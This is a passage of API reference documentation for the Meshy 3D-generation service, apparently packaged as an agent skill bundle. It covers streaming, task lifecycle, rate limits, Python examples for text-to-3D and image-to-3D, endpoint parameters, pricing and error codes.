    model = response.json()["model_urls"]  # WRONG
    ```
    
    ### 3. SSE Streaming (Alternative to Polling)
    
    All task endpoints support Server-Sent Events streaming at `/<endpoint>/:id/stream`:
    
    ```python
    import requests, json
    
    headers = {
        "Authorization": f"Bearer {API_KEY}",
        "Accept": "text/event-stream"
    }
    
    response = requests.get(
        f"https://api.meshy.ai/openapi/v2/text-to-3d/{task_id}/stream",
        headers=headers,
        stream=True
    )
    
    for line in response.iter_lines():
        if line and line.startswith(b"data:"):
            data = json.loads(line.decode("utf-8")[5:])
            print(data["status"], data.get("progress"))
            if data["status"] in ["SUCCEEDED", "FAILED", "CANCELED"]:
                break
    
    response.close()
    ```
    
    ### 4. Task Statuses
    
    All tasks follow the same lifecycle: `PENDING` -> `IN_PROGRESS` -> `SUCCEEDED` | `FAILED` | `CANCELED`
    
    ### 5. Timestamps
    
    All timestamps in the API are Unix epoch milliseconds (not seconds). For example, `1693569600000` represents September 1, 2023 12:00:00 PM UTC.
    
    ### 6. Model Output Formats
    
    3D model outputs are available in multiple formats: GLB, FBX, OBJ, USDZ. Access them via `model_urls.glb`, `model_urls.fbx`, etc. Not all formats are always available; omitted properties mean that format was not generated.
    
    ### 7. Asset Retention
    
    Generated assets are retained for a maximum of **3 days** for non-Enterprise customers. Download and store models locally if you need them longer.
    
    ### 8. Rate Limits
    
    | Tier | Requests/Second | Queue Tasks | Priority |
    |------|-----------------|-------------|----------|
    | Pro | 20 | 10 | Default |
    | Studio | 20 | 20 | Higher |
    | Enterprise | 100 | 50+ | Highest |
    
    Exceeding limits returns `429 Too Many Requests`.
    
    ### 9. Choosing the Right AI Model
    
    - Use `"latest"` or `"meshy-6"` for the best quality (default).
    - Use `"meshy-5"` for the previous generation model.
    - `"latest"` always resolves to the newest model (currently Meshy 6).
    
    ### 10. Common Mistakes to Avoid
    
    - **Don't call CORS-restricted endpoints from browser JavaScript.** The API blocks CORS requests. Use a server-side proxy.
    - **Don't forget `enable_pbr: true`** if you need metallic/roughness/normal maps.
    - **Don't set both `texture_prompt` and `texture_image_url`** — if both are provided, `texture_prompt` takes precedence.
    - **Don't assume model format availability.** Check that the URL key exists in `model_urls` before downloading.
    
    ---
    
    ## Complete Code Example: Text to 3D (Preview + Refine)
    
    ```python
    import requests, os, time
    
    headers = {"Authorization": f"Bearer {os.environ['MESHY_API_KEY']}"}
    
    # 1. Create preview task
    preview_resp = requests.post(
        "https://api.meshy.ai/openapi/v2/text-to-3d",
        headers=headers,
        json={
            "mode": "preview",
            "prompt": "a monster mask",
            "should_remesh": True,
        },
    )
    preview_resp.raise_for_status()
    preview_task_id = preview_resp.json()["result"]
    
    # 2. Poll preview task
    while True:
        task = requests.get(
            f"https://api.meshy.ai/openapi/v2/text-to-3d/{preview_task_id}",
            headers=headers,
        ).json()
        if task["status"] == "SUCCEEDED":
            break
        if task["status"] == "FAILED":
            raise Exception(task["task_error"]["message"])
        time.sleep(5)
    
    # 3. Download preview model
    with open("preview_model.glb", "wb") as f:
        f.write(requests.get(task["model_urls"]["glb"]).content)
    
    # 4. Create refine task (texturing)
    refine_resp = requests.post(
        "https://api.meshy.ai/openapi/v2/text-to-3d",
        headers=headers,
        json={
            "mode": "refine",
            "preview_task_id": preview_task_id,
            "enable_pbr": True,
        },
    )
    refine_resp.raise_for_status()
    refine_task_id = refine_resp.json()["result"]
    
    # 5. Poll refine task
    while True:
        task = requests.get(
            f"https://api.meshy.ai/openapi/v2/text-to-3d/{refine_task_id}",
            headers=headers,
        ).json()
        if task["status"] == "SUCCEEDED":
            break
        if task["status"] == "FAILED":
            raise Exception(task["task_error"]["message"])
        time.sleep(5)
    
    # 6. Download refined (textured) model
    with open("refined_model.glb", "wb") as f:
        f.write(requests.get(task["model_urls"]["glb"]).content)
    ```
    
    ## Complete Code Example: Image to 3D
    
    ```python
    import requests, os, time
    
    headers = {"Authorization": f"Bearer {os.environ['MESHY_API_KEY']}"}
    
    response = requests.post(
        "https://api.meshy.ai/openapi/v1/image-to-3d",
        headers=headers,
        json={
            "image_url": "https://example.com/photo.jpg",
            "should_texture": True,
            "enable_pbr": True,
        },
    )
    response.raise_for_status()
    task_id = response.json()["result"]
    
    while True:
        task = requests.get(
            f"https://api.meshy.ai/openapi/v1/image-to-3d/{task_id}",
            headers=headers,
        ).json()
        if task["status"] == "SUCCEEDED":
            break
        if task["status"] == "FAILED":
            raise Exception(task["task_error"]["message"])
        time.sleep(5)
    
    with open("model.glb", "wb") as f:
        f.write(requests.get(task["model_urls"]["glb"]).content)
    ```
    
    ---
    
    # API Endpoints Reference
    
    ## Text to 3D API
    
    The Text to 3D workflow has two stages: **preview** (mesh generation) and **refine** (texture generation).
    
    ### POST /openapi/v2/text-to-3d — Create Preview Task
    
    Creates a preview (mesh-only) 3D model from a text prompt.
    
    **Required parameters:**
    - `mode` (string): Must be `"preview"`.
    - `prompt` (string): Description of the 3D model. Max 600 characters.
    
    **Optional parameters:**
    - `model_type` (string): `"standard"` (default) or `"lowpoly"`. When `"lowpoly"`, `ai_model`, `topology`, `target_polycount`, `should_remesh` are ignored.
    - `ai_model` (string): `"meshy-5"`, `"meshy-6"`, or `"latest"` (default, resolves to Meshy 6).
    - `topology` (string): `"quad"` or `"triangle"` (default).
    - `target_polycount` (integer): 100–300,000. Default 30,000.
    - `should_remesh` (boolean): Default `false` for Meshy 6, `true` for others.
    - `symmetry_mode` (string): `"off"`, `"auto"` (default), or `"on"`.
    - `pose_mode` (string): `"a-pose"`, `"t-pose"`, or `""` (default).
    - `moderation` (boolean): Screen input for harmful content. Default `false`.
    
    **Cost:** 20 credits (Meshy-6/lowpoly), 5 credits (other models).
    
    **Response:** `{"result": "<task_id>"}`
    
    ### POST /openapi/v2/text-to-3d — Create Refine Task
    
    Textures a previously generated preview model.
    
    **Required parameters:**
    - `mode` (string): Must be `"refine"`.
    - `preview_task_id` (string): ID of a succeeded preview task.
    
    **Optional parameters:**
    - `enable_pbr` (boolean): Generate metallic/roughness/normal maps. Default `false`.
    - `texture_prompt` (string): Additional text to guide texturing. Max 600 characters.
    - `texture_image_url` (string): Image URL or data URI to guide texturing.
    - `ai_model` (string): `"meshy-5"`, `"meshy-6"`, or `"latest"` (default, resolves to Meshy 6).
    - `remove_lighting` (boolean): Removes highlights and shadows from the base color texture. Default `true`. Meshy-6/latest only.
    - `moderation` (boolean): Default `false`.
    
    **Cost:** 10 credits.
    
    **Response:** `{"result": "<task_id>"}`
    
    ### GET /openapi/v2/text-to-3d/:id — Retrieve Task
    
    Returns the full task object including `status`, `progress`, `model_urls`, `texture_urls`.
    
    ### DELETE /openapi/v2/text-to-3d/:id — Delete Task
    
    Permanently deletes a task and all associated data.
    
    ### GET /openapi/v2/text-to-3d — List Tasks
    
    Query params: `page_num` (default 1), `page_size` (default 10, max 50), `sort_by` (`+created_at` or `-created_at`).
    
    ### GET /openapi/v2/text-to-3d/:id/stream — Stream Task
    
    Server-Sent Events stream for real-time task progress updates.
    
    ### Text to 3D Task Object
    
    ```json
    {
      "id": "018a210d-8ba4-705c-b111-1f1776f7f578",
      "type": "text-to-3d-preview",
      "model_urls": {
        "glb": "https://assets.meshy.ai/.../model.glb?Expires=...",
        "fbx": "https://assets.meshy.ai/.../model.fbx?Expires=...",
        "obj": "https://assets.meshy.ai/.../model.obj?Expires=...",
        "usdz": "https://assets.meshy.ai/.../model.usdz?Expires=..."
      },
      "prompt": "a monster mask",
      "thumbnail_url": "https://assets.meshy.ai/.../preview.png?Expires=...",
      "progress": 100,
      "status": "SUCCEEDED",
      "created_at": 1692771650657,
      "started_at": 1692771667037,
      "finished_at": 1692771669037,
      "texture_urls": [
        {
          "base_color": "https://assets.meshy.ai/.../texture_0.png?Expires=...",
          "metallic": "https://assets.meshy.ai/.../texture_0_metallic.png?Expires=...",
          "normal": "https://assets.meshy.ai/.../texture_0_normal.png?Expires=...",
          "roughness": "https://assets.meshy.ai/.../texture_0_roughness.png?Expires=..."
        }
      ],
      "preceding_tasks": 0,
      "task_error": {"message": ""}
    }
    ```
    
    ---
    
    ## Image to 3D API
    
    ### POST /openapi/v1/image-to-3d — Create Task
    
    Generates a 3D model from a single image.
    
    **Required parameters:**
    - `image_url` (string): Publicly accessible URL or base64 data URI (.jpg, .jpeg, .png).
    
    **Optional parameters:**
    - `model_type` (string): `"standard"` (default) or `"lowpoly"`.
    - `ai_model` (string): `"meshy-5"`, `"meshy-6"`, or `"latest"` (default).
    - `topology` (string): `"quad"` or `"triangle"` (default).
    - `target_polycount` (integer): 100–300,000. Default 30,000.
    - `should_remesh` (boolean): Default `false` for Meshy 6, `true` for others.
    - `save_pre_remeshed_model` (boolean): Store GLB before remeshing. Default `false`.
    - `should_texture` (boolean): Generate textures. Default `true`. Without texture: 20 credits (Meshy-6) / 5 credits (others). With texture: +10 credits.
    - `enable_pbr` (boolean): PBR maps. Default `false`.
    - `symmetry_mode` (string): `"off"`, `"auto"` (default), `"on"`.
    - `pose_mode` (string): `"a-pose"`, `"t-pose"`, or `""` (default).
    - `texture_prompt` (string): Text to guide texturing. Max 600 characters.
    - `texture_image_url` (string): Image to guide texturing.
    - `image_enhancement` (boolean): Optimize input image. Default `true`. Meshy-6/latest only.
    - `remove_lighting` (boolean): Removes highlights and shadows from the base color texture for cleaner results under custom lighting. Default `true`. Meshy-6/latest only.
    - `moderation` (boolean): Default `false`.
    
    **Response:** `{"result": "<task_id>"}`
    
    ### GET /openapi/v1/image-to-3d/:id — Retrieve Task
    ### DELETE /openapi/v1/image-to-3d/:id — Delete Task
    ### GET /openapi/v1/image-to-3d — List Tasks
    ### GET /openapi/v1/image-to-3d/:id/stream — Stream Task
    
    ---
    
    ## Multi-Image to 3D API
    
    ### POST /openapi/v1/multi-image-to-3d — Create Task
    
    Generates a 3D model from 1–4 images of the same object from different angles.
    
    **Required parameters:**
    - `image_urls` (array): 1–4 images as URLs or data URIs.
    
    **Optional parameters:** Same as Image to 3D (except `image_url` → `image_urls`).
    
    **Response:** `{"result": "<task_id>"}`
    
    ### GET /openapi/v1/multi-image-to-3d/:id — Retrieve Task
    ### DELETE /openapi/v1/multi-image-to-3d/:id — Delete Task
    ### GET /openapi/v1/multi-image-to-3d — List Tasks
    ### GET /openapi/v1/multi-image-to-3d/:id/stream — Stream Task
    
    ---
    
    ## Remesh API
    
    Remesh and export existing 3D models into various formats.
    
    ### POST /openapi/v1/remesh — Create Task
    
    **Required (one of):**
    - `input_task_id` (string): ID of a succeeded Text to 3D, Image to 3D, or Retexture task.
    - `model_url` (string): URL or data URI of a 3D model (.glb, .gltf, .obj, .fbx, .stl).
    
    If both are provided, `input_task_id` takes precedence.
    
    **Optional parameters:**
    - `target_formats` (array): Formats to export. Values: `"glb"`, `"fbx"`, `"obj"`, `"usdz"`, `"blend"`, `"stl"`. Default `["glb"]`.
    - `topology` (string): `"quad"` or `"triangle"` (default).
    - `target_polycount` (integer): 100–300,000. Default 30,000.
    - `resize_height` (number): Height in meters. Default 0 (no resize).
    - `origin_at` (string): `"bottom"` or `"center"`. Default empty.
    - `convert_format_only` (boolean): Only convert format, skip remeshing. Default `false`.
    
    **Cost:** 5 credits.
    
    **Response:** `{"result": "<task_id>"}`
    
    ### GET /openapi/v1/remesh/:id — Retrieve Task
    ### DELETE /openapi/v1/remesh/:id — Delete Task
    ### GET /openapi/v1/remesh — List Tasks
    ### GET /openapi/v1/remesh/:id/stream — Stream Task
    
    ---
    
    ## Retexture API
    
    Apply new AI-generated textures to existing 3D models.
    
    ### POST /openapi/v1/retexture — Create Task
    
    **Required (one of each):**
    - `input_task_id` or `model_url`: The model to retexture.
    - `text_style_prompt` or `image_style_url`: The style to apply.
    
    **Optional parameters:**
    - `ai_model` (string): `"meshy-5"`, `"meshy-6"`, or `"latest"` (default, resolves to Meshy 6).
    - `enable_original_uv` (boolean): Preserve original UV mapping. Default `true`.
    - `enable_pbr` (boolean): PBR maps. Default `false`.
    - `remove_lighting` (boolean): Removes highlights and shadows from the base color texture. Default `true`. Meshy-6/latest only.
    
    **Cost:** 10 credits.
    
    **Response:** `{"result": "<task_id>"}`
    
    ### GET /openapi/v1/retexture/:id — Retrieve Task
    ### DELETE /openapi/v1/retexture/:id — Delete Task
    ### GET /openapi/v1/retexture — List Tasks
    ### GET /openapi/v1/retexture/:id/stream — Stream Task
    
    ---
    
    ## Auto-Rigging API
    
    Create an internal skeleton and bind mesh to it for animation.
    
    Currently works best with **standard humanoid (bipedal) characters** with clearly defined limbs.
    
    ### POST /openapi/v1/rigging — Create Task
    
    **Required (one of):**
    - `input_task_id` (string): ID of a succeeded task.
    - `model_url` (string): URL or data URI of a GLB file.
    
    **Optional parameters:**
    - `height_meters` (number): Character height in meters. Default 1.7.
    - `texture_image_url` (string): UV-unwrapped base color texture (.png).
    
    **Cost:** 5 credits.
    
    **Response:** `{"result": "<task_id>"}`
    
    **Succeeded result includes:**
    - `rigged_character_glb_url`, `rigged_character_fbx_url`
    - `basic_animations.walking_glb_url`, `walking_fbx_url`, `walking_armature_glb_url`
    - `basic_animations.running_glb_url`, `running_fbx_url`, `running_armature_glb_url`
    
    ### GET /openapi/v1/rigging/:id — Retrieve Task
    ### DELETE /openapi/v1/rigging/:id — Delete Task
    ### GET /openapi/v1/rigging/:id/stream — Stream Task
    
    ---
    
    ## Animation API
    
    Apply animations to rigged characters.
    
    ### POST /openapi/v1/animations — Create Task
    
    **Required parameters:**
    - `rig_task_id` (string): ID of a succeeded rigging task.
    - `action_id` (integer): Animation action ID from the Animation Library.
    
    **Optional parameters:**
    - `post_process` (object):
      - `operation_type` (string): `"change_fps"`, `"fbx2usdz"`, or `"extract_armature"`.
      - `fps` (integer): 24, 25, 30, or 60. Only for `change_fps`.
    
    **Cost:** 3 credits.
    
    **Response:** `{"result": "<task_id>"}`
    
    **Succeeded result includes:**
    - `animation_glb_url`, `animation_fbx_url`
    - `processed_usdz_url`, `processed_armature_fbx_url`, `processed_animation_fps_fbx_url`
    
    ### GET /openapi/v1/animations/:id — Retrieve Task
    ### DELETE /openapi/v1/animations/:id — Delete Task
    ### GET /openapi/v1/animations/:id/stream — Stream Task
    
    ---
    
    ## Text to Image API
    
    ### POST /openapi/v1/text-to-image — Create Task
    
    **Required parameters:**
    - `ai_model` (string): `"nano-banana"` or `"nano-banana-pro"`.
    - `prompt` (string): Text description of the image.
    
    **Optional parameters:**
    - `generate_multi_view` (boolean): Multi-angle views. Default `false`. Cannot be used with `aspect_ratio`.
    - `pose_mode` (string): `"a-pose"` or `"t-pose"`.
    - `aspect_ratio` (string): `"1:1"` (default), `"16:9"`, `"9:16"`, `"4:3"`, `"3:4"`.
    
    **Cost:** 3 credits (nano-banana), 9 credits (nano-banana-pro).
    
    **Response:** `{"result": "<task_id>"}`
    
    ### GET /openapi/v1/text-to-image/:id — Retrieve Task
    ### DELETE /openapi/v1/text-to-image/:id — Delete Task
    ### GET /openapi/v1/text-to-image — List Tasks
    ### GET /openapi/v1/text-to-image/:id/stream — Stream Task
    
    ---
    
    ## Image to Image API
    
    ### POST /openapi/v1/image-to-image — Create Task
    
    **Required parameters:**
    - `ai_model` (string): `"nano-banana"` or `"nano-banana-pro"`.
    - `prompt` (string): Text description of the transformation.
    - `reference_image_urls` (array): 1–5 reference images as URLs or data URIs.
    
    **Optional parameters:**
    - `generate_multi_view` (boolean): Default `false`.
    
    **Cost:** 3 credits (nano-banana), 9 credits (nano-banana-pro).
    
    **Response:** `{"result": "<task_id>"}`
    
    ### GET /openapi/v1/image-to-image/:id — Retrieve Task
    ### DELETE /openapi/v1/image-to-image/:id — Delete Task
    ### GET /openapi/v1/image-to-image — List Tasks
    ### GET /openapi/v1/image-to-image/:id/stream — Stream Task
    
    ---
    
    ## Balance API
    
    ### GET /openapi/v1/balance — Get Balance
    
    Returns the current credit balance.
    
    **Response:** `{"balance": 1000}`
    
    ---
    
    ## Enterprise API
    
    ### GET /openapi/v1/showcases — List Showcases
    
    Search and download community showcase models. Enterprise tier only.
    
    **Optional parameters:**
    - `page_size` (integer): 1–10. Default 3.
    - `sort_by` (string): `"+created_at"`, `"-created_at"`, `"+updated_at"`, `"-updated_at"`, `"+downloads"`, `"-downloads"`.
    - `search` (string): Text search in model names.
    - `format` (string): `"glb"` (default), `"fbx"`, `"obj"`, `"usdz"`.
    - `showcase_type` (string): `"all"` (default), `"animated"`, `"static"`.
    
    **Cost:** 1 credit per request.
    
    ---
    
    ## Webhooks
    
    Configure webhooks at https://www.meshy.ai/settings/api to receive task status updates via HTTP POST. Max 5 active webhooks per account. HTTPS only.
    
    Your server must respond with HTTP status < 400. Consecutive failures may auto-disable the webhook.
    
    Webhook payloads contain the full task object in JSON format matching the corresponding API's task object schema.
    
    ---
    
    ## Pricing Summary
    
    | API | Cost |
    |-----|------|
    | Text to 3D Preview (Meshy-6/lowpoly) | 20 credits |
    | Text to 3D Preview (other models) | 5 credits |
    | Text to 3D Refine | 10 credits |
    | Image to 3D (Meshy-6, no texture) | 20 credits |
    | Image to 3D (Meshy-6, with texture) | 30 credits |
    | Image to 3D (other, no texture) | 5 credits |
    | Image to 3D (other, with texture) | 15 credits |
    | Multi-Image to 3D (Meshy-6, no texture) | 20 credits |
    | Multi-Image to 3D (Meshy-6, with texture) | 30 credits |
    | Multi-Image to 3D (other, no texture) | 5 credits |
    | Multi-Image to 3D (other, with texture) | 15 credits |
    | Retexture | 10 credits |
    | Remesh | 5 credits |
    | Auto-Rigging | 5 credits |
    | Animation | 3 credits |
    | Text to Image (nano-banana) | 3 credits |
    | Text to Image (nano-banana-pro) | 9 credits |
    | Image to Image (nano-banana) | 3 credits |
    | Image to Image (nano-banana-pro) | 9 credits |
    
    ---
    
    ## Error Handling
    
    ### HTTP Status Codes
    
    - `200 OK`: Success.
    - `202 Accepted`: Task created, processing not yet complete.
    - `400 Bad Request`: Missing or invalid parameter.
    - `401 Unauthorized`: Invalid API key.
    - `402 Payment Required`: Insufficient credits.
    - `403 Forbidden`: CORS or permission issue.
    - `404 Not Found`: Resource not found.
    - `422 Unprocessable Entity`: Valid request but cannot process (e.g., non-humanoid model for rigging).
    - `429 Too Many Requests`: Rate limit exceeded.
    - `5xx`: Server error.
    
    ### Error Response Format
    
    ```json
    {"message": "Invalid model file extension: .3dm"}
    ```
    
    ### Task Failure
    
    When `status` is `"FAILED"`, check `task_error.message`:
    - `"The server is busy. Please try again later."` — Timeout or server overload. Retry with exponential backoff.
    - `"Internal server error."` — Processing failure. Verify inputs and retry.
    
  • README.mdupstream ↗

    Contents are not inlined in the catalog. Open the upstream file.

Plain-text copy, no login: /skill-bundles/laic-parsiism709-meshy-3d-agent-skills-meshy-3d-generation.md

// REPO STATS

5 stars
0 open issues
Last commit: 1mo ago